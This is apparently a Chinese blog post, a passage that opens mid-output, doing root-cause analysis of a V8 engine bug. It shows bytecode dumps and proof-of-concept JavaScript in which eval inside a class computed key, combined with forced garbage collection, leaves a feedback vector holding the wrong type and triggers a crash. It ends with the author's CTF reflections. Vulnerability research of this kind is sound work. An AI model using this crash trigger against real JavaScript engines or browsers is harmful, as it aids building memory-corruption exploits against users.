0x118b0011a64d @ 87 : c0 Star4
0x118b0011a64e @ 88 : 32 f7 09 09 SetNamedProperty r3, [9], [9]
0x118b0011a652 @ 92 : 1b f8 PopContext r2
0x118b0011a654 @ 94 : 0b f7 Ldar r3
0x118b0011a656 @ 96 : 8a 04 Jump [4] (0x118b0011a65a @ 100)
0x118b0011a658 @ 98 : 0b 03 Ldar a0
0x118b0011a65a @ 100 : 25 02 StaCurrentContextSlot [2]
0x118b0011a65c @ 102 : 13 0a LdaConstant [10]
0x118b0011a65e @ 104 : c4 Star0
0x118b0011a65f @ 105 : 0e LdaUndefined
0x118b0011a660 @ 106 : a9 Return
Constant pool (size = 11)
0x118b0011a595: [FixedArray] in OldSpace
- map: 0x118b00002231 <Map(FIXED_ARRAY_TYPE)>
- length: 11
0: 0x118b0011a291 <ScopeInfo FUNCTION_SCOPE>
1: 0x118b0011a2c1 <ScopeInfo CLASS_SCOPE>
2: 0x118b0011a571 <FixedArray[7]>
3: 0x118b0011a485 <SharedFunctionInfo b3>
4: 0x118b0011a4dd <ObjectBoilerplateDescription[3]>
5: 0x118b00006005 <String[4]: #eval>
6: 0x118b000040a5 <String[1]: #c>
7: 0x118b0011a1c5 <String[2]: #aa>
8: 0x118b0011a4b9 <SharedFunctionInfo <instance_members_initializer>>
9: 0x118b000071e5 <Symbol: (class_fields_symbol)>
10: 0x118b0011a5c9 <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)
yaml
[generated bytecode for function: (0x118b0011a379 <SharedFunctionInfo>)]
Bytecode length: 105
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
0x118b000daf5a @ 0 : 83 00 02 CreateFunctionContext [0], [2]
0x118b000daf5d @ 3 : 1a f9 PushContext r1
0x118b000daf5f @ 5 : 10 LdaTheHole
0x118b000daf60 @ 6 : 25 03 StaCurrentContextSlot [3]
0x118b000daf62 @ 8 : 0b 03 Ldar a0
0x118b000daf64 @ 10 : 9d 56 JumpIfNotUndefined [86] (0x118b000dafba @ 96)
0x118b000daf66 @ 12 : 81 01 CreateBlockContext [1]
0x118b000daf68 @ 14 : 1a f8 PushContext r2
0x118b000daf6a @ 16 : 10 LdaTheHole
0x118b000daf6b @ 17 : 25 02 StaCurrentContextSlot [2]
0x118b000daf6d @ 19 : 10 LdaTheHole
0x118b000daf6e @ 20 : 25 03 StaCurrentContextSlot [3]
0x118b000daf70 @ 22 : 10 LdaTheHole
0x118b000daf71 @ 23 : be Star6
0x118b000daf72 @ 24 : 80 03 00 02 CreateClosure [3], [0], #2
0x118b000daf76 @ 28 : c1 Star3
0x118b000daf77 @ 29 : 13 02 LdaConstant [2]
0x118b000daf79 @ 31 : c0 Star4
0x118b000daf7a @ 32 : 7c 04 00 29 CreateObjectLiteral [4], [0], #41
0x118b000daf7e @ 36 : bc Star8
0x118b000daf7f @ 37 : 28 05 01 02 LdaLookupGlobalSlot [5], [1], [2]
0x118b000daf83 @ 41 : bb Star9
0x118b000daf84 @ 42 : 61 f1 03 CallUndefinedReceiver0 r9, [3]
0x118b000daf87 @ 45 : 33 f2 06 05 DefineNamedOwnProperty r8, [6], [5]
0x118b000daf8b @ 49 : 19 f7 f5 Mov r3, r5
0x118b000daf8e @ 52 : 0b f2 Ldar r8
0x118b000daf90 @ 54 : 97 05 JumpIfToBooleanFalse [5] (0x118b000daf95 @ 59)
0x118b000daf92 @ 56 : 0c LdaZero
0x118b000daf93 @ 57 : 8a 09 Jump [9] (0x118b000daf9c @ 66)
0x118b000daf95 @ 59 : 00 0d ff 00 LdaSmi.Wide [255]
0x118b000daf99 @ 63 : 2c 07 01 StaLookupSlot [7], #1
0x118b000daf9c @ 66 : 73 f3 ToName r7
0x118b000daf9e @ 68 : 0b f3 Ldar r7
0x118b000dafa0 @ 70 : 25 02 StaCurrentContextSlot [2]
0x118b000dafa2 @ 72 : 65 29 00 f6 04 CallRuntime [DefineClass], r4-r7
0x118b000dafa7 @ 77 : 0b f7 Ldar r3
0x118b000dafa9 @ 79 : 25 03 StaCurrentContextSlot [3]
0x118b000dafab @ 81 : 80 08 01 02 CreateClosure [8], [1], #2
0x118b000dafaf @ 85 : c0 Star4
0x118b000dafb0 @ 86 : 32 f7 09 07 SetNamedProperty r3, [9], [7]
0x118b000dafb4 @ 90 : 1b f8 PopContext r2
0x118b000dafb6 @ 92 : 0b f7 Ldar r3
0x118b000dafb8 @ 94 : 8a 04 Jump [4] (0x118b000dafbc @ 98)
0x118b000dafba @ 96 : 0b 03 Ldar a0
0x118b000dafbc @ 98 : 25 03 StaCurrentContextSlot [3]
0x118b000dafbe @ 100 : 13 0a LdaConstant [10]
0x118b000dafc0 @ 102 : c4 Star0
0x118b000dafc1 @ 103 : 0e LdaUndefined
0x118b000dafc2 @ 104 : a9 Return
Constant pool (size = 11)
0x118b000daef9: [FixedArray] in OldSpace
- map: 0x118b00002231 <Map(FIXED_ARRAY_TYPE)>
- length: 11
0: 0x118b000dad65 <ScopeInfo FUNCTION_SCOPE>
1: 0x118b000dad95 <ScopeInfo CLASS_SCOPE>
2: 0x118b000daed5 <FixedArray[7]>
3: 0x118b000dade9 <SharedFunctionInfo b3>
4: 0x118b000dae41 <ObjectBoilerplateDescription[3]>
5: 0x118b00006005 <String[4]: #eval>
6: 0x118b000040a5 <String[1]: #c>
7: 0x118b000dad0d <String[2]: #aa>
8: 0x118b000dae1d <SharedFunctionInfo <instance_members_initializer>>
9: 0x118b000071e5 <Symbol: (class_fields_symbol)>
10: 0x118b000daf2d <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)
有三种可能的导致的字节码发生变化的原因:作用域结构变化、变量混淆遮蔽、反馈变量。
检查作用域结构
ini
// 第一次编译(惰性编译)
// /root/v8/v8/out/x64.release/d8 --no-opt --allow-natives-syntax --print-bytecode /root/v8/v8/..ypj_poc/3-1-1.js
function a() {
try {
let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
} catch (t) {
print(t);
}
};
for (let j = 0; j < 13; j++) {
// 新增块作用域
{
((a = class b3 {
[({ c: eval() } ? 0 : (aa = 0xff))]
}) => {
let z = 0xdeadbeef;
// 新增块作用域变量,触发闭包
const scopedVar = {};
})();
}
if (j == 11) {
a();
}
}
ini
// 第二次编译(优化编译)
// /root/v8/v8/out/x64.release/d8 --allow-natives-syntax --print-bytecode /root/v8/v8/..ypj_poc/3-1-2.js
function a() {
try {
let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
} catch (t) {
print(t);
}
};
for (let j = 0; j < 13; j++) {
// 新增块作用域
{
((a = class b3 {
[({ c: eval() } ? 0 : (aa = 0xff))]
}) => {
let z = 0xdeadbeef;
// 新增块作用域变量,触发闭包
const scopedVar = {};
})();
}
if (j == 11) {
%OptimizeFunctionOnNextCall(a); // 强制优化
a();
}
}
因:
- 两个输出中的
ScopeInfo
都为7个,LdaLookupGlobalSlot
都为1个。 - 两个输出中的
LdaGlobal
分别为9个和10个。 - 两个输出中
CreateFunctionContext
的对应参数相同。
果:
表明作用域层级稳定,这里出现的字节码不同与作用域结构无关。
观察变量混淆遮蔽
ini
// /root/v8/v8/out/x64.release/d8 --allow-natives-syntax --print-bytecode /root/v8/v8/..ypj_poc/3-2.js
function a() {
try {
let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
} catch (t) {
print(t);
}
};
for (let j = 0; j < 13; j++) {
{
// 遮蔽全局eval
const eval = () => {}; // 新增局部eval
((a = class b3 {
[({ c: eval() } ? 0 : (aa = 0xff))]
}) => {
let z = 0xdeadbeef;
})();
}
if (j == 11) {
a();
}
}
根据提供的字节码和代码修改,字节码差异确实由变量混淆遮蔽(eval
被局部声明覆盖)导致。
LdaGlobal
→ LdaLookupGlobalSlot
指令替换
-
原始代码 (无遮蔽): 直接通过全局对象访问
eval
:lessLdaGlobal [5], [1] // 加载全局eval
-
修改后代码 (遮蔽后): 因局部
eval
存在,需通过作用域链动态查找:lessLdaLookupGlobalSlot [5], [1], [2] // 动态查找eval
调试反馈向量
ini
// 禁用并发编译以稳定捕获反馈向量
// /root/v8/v8/out/x64.release/d8 --allow-natives-syntax --no-concurrent_recompilation /root/v8/v8/..ypj_poc/3-3.js
function a() {
try {
let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
} catch (t) {
print(t);
// 打印函数反馈向量
%DebugPrint(a); // 新增调试指令
}
};
for (let j = 0; j < 13; j++) {
{
((a = class b3 {
[({ c: eval() } ? 0 : (aa = 0xff))] //修改aa的赋值,便于在字节码中体现
}) => { let z = 0xdeadbeef; })();
}
if (j == 11) {
a();
}
}
%DebugPrint(a)
输出显示:
yaml
feedback vector: No feedback vector, but we have a closure feedback cell array
0x3c5000003511: [ClosureFeedbackCellArray] in ReadOnlySpace
- length: 0
表明函数 a()
未被优化 ,反馈向量未收集到有效数据(长度为0),因此 未触发优化编译。
使用修改后的命令运行PoC3
css
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-scopes --print-builtin-info /root/v8/v8/..ypj_poc/3.js
结论
由于Sloppy_eval标志的有无,两次变量的查找走了不同的代码路径。其中第一次变量查找按照正常代码路径执行,因此生成了StaGlobal
字节码;第二次变量查找走了LookupSloppyEval函数,需要对在最外层作用域声明的全局变量套一层代理进行访问,因此生成了StaLookupSlot
字节码。
通过观察Feedback Vector的内容,我们可以发现:GC前后,Feedback Vector对应的字节码类型产生了变化,理论上来说,其中存储的数据类型也不同。但由于GC不对Feedback Vector进行回收,其中的内容被保留下来。导致GC后,Feedback Vector中实际存储的数据类型与要求存储的数据类型不同。 具体的,发生在Slot #7, #9, #11, #13。
利用--print-builtin-info
打印出的builtin函数对应的内存地址,发现崩溃时,对应的字节码正是LdaLookupGlobalSlot
。
杂谈
V8的源代码之前没有看的想法,但多次遇到未知的漏洞函数,明白还是要至少大致了解一遍,之后会完整看一遍v8源码然后简要分享一下感受。
之前打CTF的动态调调,感觉更多是了解整体的体系看到漏洞想到利用链然后动态调试确保过程与想法一致,而V8调试更多是根据有趣的结果再去调试解析发生这个结果的过程,前者由因溯果,后者由果溯因,差别挺大的。
我的CTF挺平淡无趣的。初入CTF是高中毕业接触到Cobalt Strike简单玩了一下,觉得很有趣,之后主动玩了很多奇怪的安全工具,尤其是misc工具,就勉强算入坑了,但更多是业余兴趣,没有系统性学习过。之后参加了学校的相关课程和CTF夏令营,可惜夏令营还没结束电脑坏了。之后简单看了一下每个方向,觉得pwn挺有意思的,就入坑了。其实一直没有很系统性地学过pwn,相对系统性的就是看完了一本CTF相关书的pwn部分,更多是做题的过程学,遇到什么学什么,感觉收获也挺多的,但一个人学真挺坐牢的,经常学到崩溃,感觉自己理解能力太差。当了CTF的队长,也没出啥成绩,可能确实是我能力不足、天赋不到位、努力不够吧。哎,CTF目前也短暂告一段落,尽管结局挺狼狈的,但希望队里的大家和CTF路上遇到的各位师傅安好吧,不知道之后还会不会打了。